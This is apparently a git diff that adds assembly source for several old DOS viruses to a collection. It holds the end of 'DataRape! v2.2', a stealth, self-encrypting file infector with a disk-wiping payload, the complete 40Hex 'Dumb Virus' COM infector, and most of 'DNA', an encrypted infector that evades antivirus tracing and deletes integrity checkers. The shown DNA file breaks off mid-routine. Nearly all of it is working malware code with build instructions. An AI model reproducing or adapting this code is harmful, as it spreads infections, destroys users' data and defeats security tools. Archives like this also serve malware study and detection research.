@b "d" + @b "a" + @b "y" + @b " " + @b "o" + @b "f" + @b "f" + @b " " + @b "c" + @b "o" + @b "m" + @b "p" + @b "l" + @b "i" + @b "m" + @b "e" + @b "n" + @b "t" + @b "s" + @b " " + @b "o" + @b "f" + @b " " + @b "R" + @b "A" + @b "B" + @b "I" + @b "D" + @b 7 + + +im_looped: jmp im_looped + +are_we_here: + mov ax,6969h ; Check to see if we are + int 21h ; Allready resident + cmp bx,6969h + je already_here ; Yes? Then leave the program + jmp after_trish + +db 13,10,'Patricia Boon',13,10 + +after_trish: + xor ax,ax ; + mov ds,ax ; Loads Current + les ax,ds:[21h*4] ; Int 21h Vector + mov word ptr cs:[si+save_int_21],ax ; + mov word ptr cs:[si+save_int_21+2],es ; + push cs + pop ds + jmp load_mem +already_here: + pop es ; If, exit +go_go_program: ; + jmp go_program ; + +exit_exe: + mov bx,es ; + add bx,10h ; E + add bx,word ptr cs:[si+call_adr+2] ; X + mov word ptr cs:[si+patch+2],bx ; E + mov bx,word ptr cs:[si+call_adr] ; + mov word ptr cs:[si+patch],bx ; E + mov bx,es ; X + add bx,10h ; I + add bx,word ptr cs:[si+stack_pointer+2] ; T + mov ss,bx ; I + mov sp,word ptr cs:[si+stack_pointer] ; N + db 0eah ; G +patch: ; + dd 0 ; + +; Below should be changed to: +; exit_com: xor bx,bx +; push bx +; mov di,100h +; push di +; add si,offset my_save +; movsb +; movsw +; ret + +exit_com: + mov di,100h ; EXIT + add si,offset my_save ; COM + movsb ; + movsw ; + xor bx,bx ; + push bx ; + jmp [si-11] ; + +;--- +; Here is where we load ourselves into memory +;--- + +load_mem: + pop es + mov ah,49h ; Release memory + int 21h + mov bx,0ffffh ; Set memory for FFFFh + ; paragraphs + mov ah,48h ; Allocate memory for + ; ourselves + int 21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_go_program + mov cx,es + stc + adc cx,bx + mov ah,4ah ; Modify memory allocation + int 21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,4ah + int 21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ; This section look familiar? +mem_ok: + pop si + push si + push ds + push cs + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + mov ah,30h ; Get DOS version number + int 21h + cmp al,4 ; + jae check_date ; If >= 4 then check the date + jmp no_fry ; NOT?! Then continue with + ; virus +check_date: mov ah,2ah ; Get system time + int 21h + cmp al,1 ; Is it a monday? + je randomizer + jmp no_fry +;--- +; If we actually get here, then we have a one in 15 chance that we will fry +; the hard-drive. You may ask yourself, "Why do you go through all the +; trouble?". Easy, because the main priority here is spreading, and not +; fucking up data... +;--- + +randomizer: + mov ah,2ch ; Get system time + int 21h + and dl,0fh + or dl,dl + jnz no_fry + jmp write_short + +no_fry: pop si ; Restore registers + pop ds + pop ax + cmp word ptr cs:[si+my_save],5a4dh ; Is it an EXE file? + jne go_exit_com ; No? Then must be a COM file. + jmp exit_exe ; Yes! Exit an EXE file +go_exit_com: + jmp exit_com + +int_27: + pushf ; Allocates Memory, + call alloc ; So TSR can load + popf ; + jmp dword ptr cs:[save_int_27] ; + +;--- +; This routine will return our ID byte in BX if we are resident. +;--- +weare_here: + popf + xor ax,ax + mov bx,6969h ; ID Register + iret + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp ; Set Up Stack + + pushf ; Save Flag + cld + cmp ax,6969h + je weare_here + + cmp ah,11h ; Hide In + jb not_hide ; Directory + cmp ah,12h ; Listing + ja not_hide ; +fcb_find: + call dword ptr cs:[save_int_21] + push ax + push bx + push ds + push es + pushf + + cmp al,0FFh + je done_hide ; Not There? + + mov ah,2Fh + int 21h ; Get Size + push es + pop ds + cmp byte ptr es:[bx],0FFh ; Extended FCB? + jne not_extended + add bx,7 +not_extended: + mov ax,es:[bx+17h] + and ax,1Fh + cmp ax,1Fh ; Check Time Stamp + +;-- +; Checking to see if the file is with a 62 seconds filestamp... +;-- + + jne done_hide ; No? Then the file is not + ; infected. Leave it alone... + +;-- +; If we get here, then we've deduced that the file is indeed infected. +; Therefore, we must reduce the filesize from the DTA in order to show that it +; is "not infected" +;-- + sub word ptr es:[bx+1Dh],offset top_file + sbb word ptr es:[bx+1Dh+2],0 ; Decrease Size + +;--- +; Finished hiding, restore the resigers we saved, and return to the INT +; whence we came from... +;--- + +done_hide: + popf + pop es + pop ds + pop bx + pop ax + iret + +;-- +; Function differentiation happens here... +;-- + +directory: + jmp fcb_find + +weare_here_boost: + jmp weare_here + +;--- +; If FluShot+ or VirexPC are trying to go resident, then tell them that +; we "allready are" resident +;--- + +fsp_trying: + popf + mov ax,101h ;Set FSP/Virex ID byte + iret + +not_hide: + cmp ax,0ff0fh + je fsp_trying + cmp ah,3ch ; Are we creating a file? + je create + cmp ah,3dh ; Open file handle? + je touch + cmp ah,3eh ; Are we closing a file? + je close + cmp ah,43h ; Get/Set file attributes? + je touch + cmp ax,4b00h ; Are we executing a file? + je touch + cmp ax,6969h ; Checking if we are resident? + je weare_here_boost + cmp ah,5bh ; Creating a file? + jne not_create + +create: + cmp word ptr cs:[filehndl],0 + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx + jmp all_ok + +touch: + jmp try_infect + +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h + jne dont_touch +try_infect: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ; This is absolutely + ret 2 ; needed, IRET +dummy endp ; doesn't cut it + +see_name: + push ax + push si + mov si,dx + +;-- +; Here's a crude yet effective way of scanning the file handle in order to see +; what type of file it is... +; +; (NOTE: We make up for crudeity later by checking the first two bytes of the +; file to see if it is a COM or EXE file (4d5a)) +;-- + +scan_name: + lodsb + test al,al + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + call get_byte + cmp ax,'co' + jz pos_com + cmp ax,'ex' + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +function: + pushf + call dword ptr cs:[save_int_21] + ret + +do_file: + push ds + push es + push si + push di + push ax + push bx + push cx + push dx + xor cx,cx + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h + call function + jc cant_open + mov bx,ax + call disease + mov ah,3eh + + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h + call function +no_update: + pop dx + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save + mov cx,18h + mov ah,3fh + int 21h + xor cx,cx + xor dx,dx + mov ax,4202h + int 21h + mov word ptr [top_save+1ah],dx + cmp ax,offset top_file + sbb dx,0 + jc stop_infect + mov word ptr [top_save+18h],ax + + mov ax,5700h + int 21h ; Check if Infected + and cx,1Fh + cmp cx,1Fh + je stop_infect + xor cx,cx + xor dx,dx + mov ax,4202h + int 21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h + adc dx,0 + je fuck_it +stop_infect: ret + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + int 21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h + int 21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save + movsb + movsw + +copy_body: + xor si,si + mov di,offset body + mov cx,offset top_file + rep movsb ; Copies virus + ; body to buffer + +enc_body: mov si,offset body + mov di,si + +;************************** +;* CHANGE ENCRYPTION BASE * +;************************** + + mov ah,2Ch ;Get system time + int 21h + mov byte ptr [enc_base_1],dl + mov byte ptr [body-v+enc_base_2],dl + +;**************************** +;* CHANGE ENCRYPTION METHOD * +;**************************** + + call yes_no + jc ror_rol +rol_ror: mov ax,0C0C8h + jmp short set_method +ror_rol: mov ax,0C8C0h +set_method: mov byte ptr [enc_meth_1],ah + mov byte ptr [body-v+enc_meth_2],al + +;******************************* +;* FLIP SOME REGISTERS, PART 1 * +;******************************* + + call yes_no + jc es_ds +ds_es: mov ax,1F07h + jmp short set_pops +es_ds: mov ax,071Fh +set_pops: mov byte ptr [body-v+pop_1],ah + mov byte ptr [body-v+pop_2],al + +;******************************* +;* FLIP SOME REGISTERS, PART 2 * +;******************************* + +;--- +; Zodiac has informed me that there is an error in the following routine +; he has advised me to coment it out until he fixes the bug +;--- + +; call yes_no +; jc di_di_si +;si_si_di: +; mov ax,5EEEh +; mov dl,0F7h +; jmp short set_switch +;di_di_si: +; mov ax,5FEFh +; mov dl,0FEh +;set_switch: +; mov byte ptr [switch_1],ah +; mov byte ptr [switch_2],al +; mov byte ptr [switch_3],dl + +;******************************* +;* FLIP SOME REGISTERS, PART 3 * +;******************************* + + mov al,56h + call yes_no + jc set_push + inc al +set_push: mov byte ptr [push_1],al + +;******************************* +;* FLIP SOME REGISTERS, PART 4 * +;******************************* + + call yes_no + jc set_dl +set_dh: mov ax,0B6F1h + mov dl,0C6h + jmp short set_inc +set_dl: mov ax,0B2D1h + mov dl,0C2h +set_inc: mov byte ptr [inc_1],ah + mov byte ptr [inc_2],al + mov byte ptr [inc_3],dl + +;******************************* +;* FLIP SOME REGISTERS, PART 5 * +;******************************* + + call yes_no + jc ds_ax +ax_ds: mov ax,1E50h + mov dx,581Fh + jmp short set_push_2 +ds_ax: mov ax,501Eh + mov dx,1F58h +set_push_2: mov word ptr [push_2_1],ax + mov word ptr [push_2_2],dx + + db 0B2h +enc_base_1: db 00h ; General ENC Base + + mov cx,offset un_enc + +enc_loop: lodsb + push cx + mov cl,dl + inc dl +;--- +; What is the meaning of this??? +;--- + + db 0D2h +enc_meth_1: db 0C0h + pop cx + stosb + loop enc_loop ; Encrypto + + mov dx,offset body + mov cx,offset top_file + mov ah,40h + int 21h ; Write Body + + jc go_no_fuck + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + int 21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,word ptr [top_save+18h] + +;****** Below Sets the JMP so to go to the Unencryption Portion of the Virus +;****** This Doesn't happen when this is first compiled, an infection +;****** Needs to occur + + add ax,un_enc-v-3 + +;****** + + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck_boost + +yes_no: push ax + mov ah,2Ch ;Get system time + int 21h + pop ax ;Save AX + test dl,1 ;Are the 100ths of seconds 1 + jpe set_yes ;If parity is equal, SET_YES +set_no: clc ;Clear carry flag + ret +set_yes: stc ;Set carry flag + ret + jmp do_exe + +no_fuck_boost: + jmp no_fuck + +;--- +; Construct the .EXE file's header +;--- + +do_exe: + mov ax,word ptr [top_save+8] + call mul_16 + + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,10h + div cx + +;****** Below Sets the Calling Address to the Unencryption Portion of the +;****** Virus This Doesn't happen when this is first compiled, an infection +;****** Needs to occur + + mov word ptr [top_save+14h],un_enc-v + +;****** + mov word ptr [top_save+16h],ax + add ax,(offset top_file-offset v-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + int 21h + pop dx + pop cx + and cx,0FFE0h + or cx,1Fh + jmp short time_got ; Mark Time Stamp + +db 13,10,"Free Flash Force!!!",13,10 + +no_fuck: + pop dx + pop cx +time_got: popf + jc stop_fuck + mov ax,5701h + int 21h +stop_fuck: + ret + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + ret + +get_chain: + push ax + push bx + mov ah,62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +mul_16: + mov dx,10h + mul dx + ret + +kill: call kill_rel + +kill_rel: + pop si + jmp write_short + +re_do: + mov byte ptr [sector],1 ; Reset sector count to 1 + inc byte ptr [track] ; Increment next track + jmp fuck_drive ; Fuck it... + +;--- +; This routine is very nasty!!! +;--- + +write_short: + push cs + pop ds + cmp byte ptr [track],40 + jae reboot + cmp byte ptr [sector],9 + ja re_do + +fuck_drive: + mov ah,03h ; Write disk sectors + mov al,9 ; Xfer 9 sectors + mov bx,offset header ; Set for buffer + mov ch,byte ptr [track] ; Set for track [track] + mov cl,byte ptr [sector] ; Set for sector [sector] + mov dh,0 ; Set for head 0 + mov dl,2 ; Set for first fixed drive + + int 13h + + inc byte ptr [sector] + jmp write_short + +;--- +; This code will cold boot the CPU with a memory check +;--- + +reboot: + mov ax,0040h + mov ds,ax + mov ax,07f7fh + mov ds:[0072],ax +db 0eah,00h,00h,0ffh,0ffh ; JMP FFFF:0000 + +header db "------------------",13,10 + db " DataRape! v2.2 ",13,10 + db " By Zodiac ",13,10 + db "and Data Disruptor",13,10 + db " ",13,10 + db " (c) 1991 RABID ",13,10 + db "Int'nl Development",13,10 + db " Corp. ",13,10 + db "------------------",13,10 + +greetings db 13,10 + db "Greetings to The Dark Avenger, Tudor Todorov, Patricia Hoffman",13,10 + db "(Get your articles correct for a change... Maybe we should write",13,10 + db "for you...), John McAfee (Who wouldn't be where he is today if it",13,10 + db "were not for people like us...), PCM2 (Get your ass back in gear dude!)",13,10 + db "ProTurbo, MadMan, Rick Dangerous, Elrond Halfelven, The Highwayman,",13,10 + db "Optical Illusion, The (Real) Gunslinger, Patricia (SMOOCH), The GateKeeper,",13,10 + db "Sledge Hammer (Let's hope you don't get hit by this one 3 times), Delko,",13,10 + db "Paul 'Jougensen' & Mike 'Hunt' (And whoever else was there to see Chris & Cosy)",13,10 + db "the entire Bulgarian virus factory, and any others whom we may have missed...",13,10 + db " Remember: Winners don't use drugs! Someone card me a lifesign though...",13,10 + db 13,10 + db "(c) 1991 The RABID International Development Corp." + +call_adr: + dd 100h +stack_pointer: + dd 0 +my_save: + int 20h + nop + +;**** UnEncryption Below + +un_enc: call enc_rel +enc_rel: pop si +rel_sub: sub si,offset enc_rel + +;--- +; Note: These are the only bytes which are constant throughout any infection +;--- + +rel_copy: mov di,si + +push_1: push si + +push_2_1: push ax + push ds + push es + + push cs +pop_1: pop ds;- + + push cs +pop_2: pop es;- + +;--- +; The constant bytes end here. (There are only 10 bytes...) +;--- +inc_1: db 0B2h + +enc_base_2: db 00h + mov cx,offset un_enc +un_enc_loop: lodsb + push cx + db 88h +inc_2: db 0D1h + + db 0D2h +enc_meth_2: db 0C8h + + db 0FEh +inc_3: db 0C2h + pop cx + stosb + loop un_enc_loop + + pop es +push_2_2: pop ds + pop ax + ret + +sector db 1 ; Count of sectors that have been fried +track db 0 ; Count of tracks that have been fried + +top_file: +save_int_21 equ $ +save_int_27 equ save_int_21+4 +filehndl equ save_int_27+4 +filename equ filehndl+2 +aux_size equ filename+65 +top_save equ filename+65 +body equ top_save+1Ch +top_bz equ top_save-v +my_bz equ top_file-v +switch_1 equ enc_rel +switch_2 equ rel_sub+1 +switch_3 equ rel_copy+1 + +;dta equ aux_size +; dta_attr equ dta+21 +; dta_time equ dta+22 +; dta_date equ dta+24 +; dta_size_lo equ dta+26 +; dta_size_hi equ dta+28 +; dta_name equ dta+30 +; + +code ends + end + +;-- +; End of virus +;-- diff --git a/d/DUMB.ASM b/d/DUMB.ASM new file mode 100755 index 0000000..92c8265 --- /dev/null +++ b/d/DUMB.ASM @@ -0,0 +1,116 @@ + DumbVirus segment + Assume CS:DumbVirus + Org 100h ; account for PSP + + ; Dumb Virus - 40Hex demo virus + ; Assemble with TASM /m2 + + Start: db 0e9h ; jmp duh + dw 0 + + ; This is where the virus starts + duh: call next + next: pop bp ; bp holds current location + sub bp, offset next ; calculate net change + + ; Restore the original first three bytes + lea si, [bp+offset stuff] + mov di, 100h + ; Put 100h on the stack for the retn later + ; This will allow for the return to the beginning of the file + push di + movsw + movsb + + ; Change DTA from default (otherwise Findfirst/next will destroy + ; commandline parametres + lea dx, [bp+offset dta] + call set_dta + + mov ah, 4eh ; Find first + lea dx, [bp+masker] ; search for '*.COM',0 + xor cx, cx ; attribute mask - this is unnecessary + tryanother: + int 21h + jc quit ; Quit on error + + ; Open file for read/write + ; Note: This fails on read-only files + mov ax, 3D02h + lea dx, [bp+offset dta+30] ; File name is located in DTA + int 21h + xchg ax, bx + + ; Read in the first three bytes + mov ah, 3fh + lea dx, [bp+stuff] + mov cx, 3 + int 21h + + ; Check for previous infection + mov ax, word ptr [bp+dta+26] ; ax = filesize + mov cx, word ptr [bp+stuff+1] ; jmp location + add cx, eov - duh + 3 ; convert to filesize + cmp ax, cx ; if same, already infected + jz close ; so quit out of here + + ; Calculate the offset of the jmp + sub ax, 3 ; ax = filesize - 3 + mov word ptr [bp+writebuffer], ax + + ; Go to the beginning of the file + xor al, al + call f_ptr + + ; Write the three bytes + mov ah, 40h + mov cx, 3 + lea dx, [bp+e9] + int 21h + + ; Go to the end of the file + mov al, 2 + call f_ptr + + ; And write the rest of the virus + mov ah, 40h + mov cx, eov - duh + lea dx, [bp+duh] + int 21h + + close: + mov ah, 3eh + int 21h + + ; Try infecting another file + mov ah, 4fh ; Find next + jmp short tryanother + + ; Restore the DTA and return control to the original program + quit: mov dx, 80h ; Restore current DTA to + ; the default @ PSP:80h + set_dta: + mov ah, 1ah ; Set disk transfer address + int 21h + retn + f_ptr: mov ah, 42h + xor cx, cx + cwd ; equivalent to: xor dx, dx + int 21h + retn + + masker db '*.com',0 + ; Original three bytes of the infected file + ; Currently holds a INT 20h instruction and a null byte + stuff db 0cdh, 20h, 0 + e9 db 0e9h + eov equ $ ; End of the virus + ; The following variables are stored in the heap space (the area between + ; the stack and the code) and are not part of the virus that is written + ; to files. + writebuffer dw ? ; Scratch area holding the + ; JMP offset + dta db 42 dup (?) + DumbVirus ENDS + END Start + diff --git a/d/Dna.asm b/d/Dna.asm new file mode 100755 index 0000000..9bb226a --- /dev/null +++ b/d/Dna.asm @@ -0,0 +1,537 @@ +;============================================================================= +; Please feel free to distribute, but do NOT change and say it's your's! +;============================================================================= +; Introducing to you the source code of DNA. DNA is a partially resident +; parasitic COM file infector including COMMAND.COM. The virus infects files +; in a random way along the path. The infection routine is resident +; during the run of the virus. The reason for this is that it is only then +; possible to encrypt the infection routine whitin the virus. The routine +; will be resident in the data area of the system so it will use no memory. +; DNA does not contain a payload. Furthermore there are some routines to +; delete CRC checkers and to disable some resident viruscheckers in memory. +; +; Greetings ,ThE wEiRd GeNiUs +;----------------------------------------------------------------------------- +; Assemble with TASM 2.0 or higher, Link with TLINK /T +;----------------------------------------------------------------------------- + CODE SEGMENT + ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE + + CRYPTLEN EQU BUFFER-CSTART ;Length to en/decrypt. + VIRLEN EQU BUFFER-VSTART ;Length of virus. + MINLEN EQU 1000 ;Min file length to infect. + MAXLEN EQU 0F230h ;Max " " " " + CR EQU 0Dh ;Return. + LF EQU 0Ah ;Line feed. + TAB EQU 09h ;Tab. + TSR2LEN EQU BUFFER-INFECT ;Length of infection Interrupt. + LENGTH EQU NOTENC-CSTART ;Length of encrypted code. + + ORG 0100h + + .RADIX 16 +;----------------------------------------------------------------------------- +; Infected dummy program. (Only in 1st run) +;----------------------------------------------------------------------------- +START: JMP VSTART ;Jump to virus code. +;----------------------------------------------------------------------------- +; Begin of the virus code. +;----------------------------------------------------------------------------- +VSTART: CALL CHKDOS ;Confuse anti-viral progs. + CALL CHKTIME ;It's hard to believe but this code + JMP BEGIN ;stops tracing TBAV into the code! +;----------------------------------------------------------------------------- +CHKDOS: MOV AH,30h ;Get DOS version. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +CHKTIME:MOV AH,2Ch ;Get system time. + INT 21h ;Call DOS. + CMP DL,0 ;If zero, + JE CHKTIME ;try again. + RET ;Return to caller. +;----------------------------------------------------------------------------- +VAL_1 DB 00h ;Encryption Value. +;----------------------------------------------------------------------------- +ENCRYP: CALL NEXTL ;-Get BP on address. +NEXTL: POP BP ;/ + SUB BP,04 ;[BX]=decryption key. + MOV DL,[BP] ;DL=[BX] + LEA BX,[BP+OFFSET CSTART-VAL_1];De/en-crypt from here. + CMP DL,0 ;Code Encrypted? + JE NTENC ;Nope +DECRYPT:MOV DH,DL ; + MOV CX,CRYPTLEN ;Set counter. +X_LOOP: XOR [BX],DL ;Xor the code on address BX. + SUB DL,DH ;-To change form of scrambled code. + SUB DH,02Eh ;/ + INC BX ;Increase address. + LOOP X_LOOP ;Repeat until done. +NTENC: RET ;Return to caller. +;----------------------------------------------------------------------------- +BEGIN: CALL ENCRYP ;Call decryption routine. +;----------------------------------------------------------------------------- +; From here the code will be encrypted. +;----------------------------------------------------------------------------- +CSTART: CALL BEGIN1 ;Same old trick. + CALL RESBEG ;Restore begin. + CALL CHKDRV ;Check drive & DOS version. + CALL SAVEDIR ;Save startup directory. + CALL INSTSR2 ;Place infection routine in memory. + PUSH ES ;In the next sessions ES is modified. + CALL INT24 ;NoErrorAllowed. + CALL VSAFE ;Vsafe resident? + POP ES ;Restore extra segment. + CALL ENKEY ;Create new CRYPTKEY. + CALL DTA ;Store old and give up new DTA addres. + CMP BYTE PTR[BP+OFFSET COMSIGN],01h;Am I command.com? + JE F_FIRST ;Yes, do not use the path. + CALL FIND1 ;Determine how many path's are present. + CALL RANDOM ;Random value for directory search. + CALL FIND2 ;Find suitable directory. + CALL CHDRIVE ;If it is on another drive. + CALL GODIR ;Go to the selected directory. +F_FIRST:MOV AH,4Eh ;Search for 1st *.COM + MOV CX,110b ;Look for read only, system & hidden. + LEA DX,[BP+OFFSET SPEC] ;Offset file specification.(*.COM) + INT 21h ;Call DOS. + JNC OPENF ;Exit if no file found. + CALL EXIT1 ;No files found, quit. +OPENF: CALL CHKCOM ;-Is it COMMAND.COM? + CMP CX,00h ;/ + JNE NOCOM ;Yes, set COMSIGN + MOV BYTE PTR[BP+OFFSET COMSIGN],01h; + JMP YESCOM ; +NOCOM: MOV BYTE PTR[BP+OFFSET COMSIGN],00h; +YESCOM: CALL CHKINF ;Already infected? + CALL ATTRIB ;Ask & clear file attributes. + CALL RENAME ;Rename to *.TXT file. + MOV AH,4Eh ;Search the name.TXT file. + MOV CX,110b ;Read only, system & hidden. + LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT) + INT 21h ;Call DOS. + MOV AX,3D02h ;Open file with read and write access. + LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT) + INT 21h ;Call DOS. + MOV BYTE PTR[BP+OFFSET HANDLE],AL;Save file handle. + CALL STIME ;Save file date & time. +CHECK: MOV AH,3Fh ;Read begin of victim. + MOV CX,3 ;Read Begin. + LEA DX,[BP+OFFSET ORIGNL] ;Into offset original instructions. + INT 21h ;Call DOS. + JC CLOSE ;On error, quit. +REPLACE:CALL BPOINT ;Move file pointer to end of victim. + SUB AX,3 ;Calculate new jump. + MOV WORD PTR[BP+NEWJMP+1],AX;Store new jump value. + MOV AX,4200h ;Move file pointer to begin. + XOR CX,CX ;Zero high nybble. + XOR DX,DX ;Zero low nybble. + INT 21h ;Call DOS. + MOV AH,40h ;Write to file, + MOV CX,3 ;3 Bytes. + LEA DX,[BP+OFFSET NEWJMP] ;Offset new jump value. + INT 21h ;Call DOS. + CALL BPOINT ;Move file pointer to end. + JMP INFEC ;Create encryption key. +LETSGO: MOV AH,4Fh ;Find next. + INT 21h ;Call DOS. + JC EXIT ;On error, quit. + JMP OPENF ;Open new victim. +INFEC: MOV DL,[BP+OFFSET VAL_1] ;Encryption value into DL. + INT 0D0h ;Neat way to infect a file! +CLOSE: CALL RTIME ;Restore File time & date. + MOV AH,3Eh ;Close file. + INT 21h ;Call DOS. + CALL RENAME2 ;Restore back to COM file. + CALL RATTRIB ;Restore File attributes. +;----------------------------------------------------------------------------- +EXIT: CALL DELSTUF ;Delete CRC checkers. +EXIT1: MOV AH,1Ah ;Restore old DTA. + MOV DX,[BP+OFFSET OLD_DTA] ;Old DTA address. + INT 21h ;Call DOS. +EXIT2: MOV AH,0Eh ;Restore startup drive. + MOV DL,BYTE PTR[BP+OFFSET OLDRV];Old drive code. + INT 21h ;Call DOS. + MOV AH,3Bh ;Goto startup directory, + LEA DX,[BP+OFFSET BUFFER] ;that is stored here. + INT 21h ;Call DOS. +EXIT3: CALL RINTD0 ;Restore original INT D0 + CALL RINT24 ;Restore original INT 24 +EXIT4: MOV AX,100h ;Return address. + PUSH AX ;Put it on stack. + RET ;Pass control to HOST. +;----------------------------------------------------------------------------- +DUMEX: MOV DI,0100h ;This is a dummy exit, it screws up + LEA SI,[BP+DEXIT] ;TbClean. In stead of cleaning the + MOV CX,3 ;phile, it puts a program terminating + REPNZ MOVSB ;interrupt in the beginning of the + MOV AX,0100h ;victim, neat huh! + PUSH AX ; + RET ; +;----------------------------------------------------------------------------- +BETWEEN:MOV AH,3Eh ;Close the file. + INT 21h ;Call DOS + JMP LETSGO ;Find next file. +CHKINF: MOV AX,3D00h ;Open file with only read acces. + MOV DX,WORD PTR[BP+OFFSET NP];Offset filename. + INT 21h ;Call DOS. + MOV BX,AX ;File handle into BX. + XOR CX,CX ;- + XOR DX,DX ;/ + MOV AX,4202h ;Move file pointer to end. + INT 21h ;Call DOS. + SUB AX,VIRLEN ; + MOV DX,AX ; + MOV AX,4200h ;Move file pointer to vircode. + INT 21h ;Call DOS. + MOV AH,3Fh ;Read file. + MOV CX,01h ;One Byte. + LEA DX,[BP+OFFSET MARK1] ;Into this address. + INT 21h ;Call DOS. + CMP BYTE PTR [BP+OFFSET MARK1],0E8h; Is it infected? + JE BETWEEN ;Yes, find another. + CALL BPOINT ;Go to EOF. + CMP AX,MAXLEN ;Is the file to long? + JNB BETWEEN ;Yes, find another. + CMP AX,MINLEN ;Is it to short? + JBE BETWEEN ;Yes, find another. + MOV AH,3Eh ;Close the file. + INT 21h ;Call DOS + RET ;Return to caller. +;----------------------------------------------------------------------------- +CHKDRV: CALL CHKDOS ;Check DOS version. + CMP AL,01 ; + JB DUMEX ;Screw up TbClean. + CMP AL,05h ;Is it DOS 5.0 or higher? + JNGE EXIT4 ;No, exit. + MOV AH,19h ;Get drive code. + INT 21h ;Call DOS. + MOV BYTE PTR[BP+OFFSET OLDRV],AL;Save old drive code. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RESBEG: LEA SI,[BP+OFFSET ORIGNL] ;Offset original begin. + MOV DI,0100h ;Restore original instructions. + MOV CX,3 ;Restore 3 bytes. + REPNZ MOVSB ;Move them. + RET ;Return to caller. +;----------------------------------------------------------------------------- +CHKCOM: MOV CX,05 ;CX=len COMMAND. + MOV DI,[BP+OFFSET NP] ;Offset found file. + LEA SI,[BP+OFFSET COMMND] ;Offset COMMAND. + REPZ CMPSB ;Compare the strings. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RENAME: MOV CX,0Ch ; This section renames the + MOV SI,WORD PTR[BP+OFFSET NP]; found and approved for + LEA DI,WORD PTR[BP+OFFSET NEWNAM]; infection file to a + REPNZ MOVSB ; *.TXT file. The reason for + LEA BX,WORD PTR[BP+OFFSET NEWNAM-1];this is that VPROTECT from +LPOINT: INC BX ; Intel has a rule based NLM. + CMP BYTE PTR[BX],'.' ; If we write to a COM file + JNE LPOINT ; VPROTECT gives an alarm + MOV DI,BX ; message. However, if we + MOV WORD PTR[BP+OFFSET TXTPOI],BX; write to a text file.... + LEA SI,[BP+OFFSET TXT] ; Pretty solution isn't it? + MOVSW ; 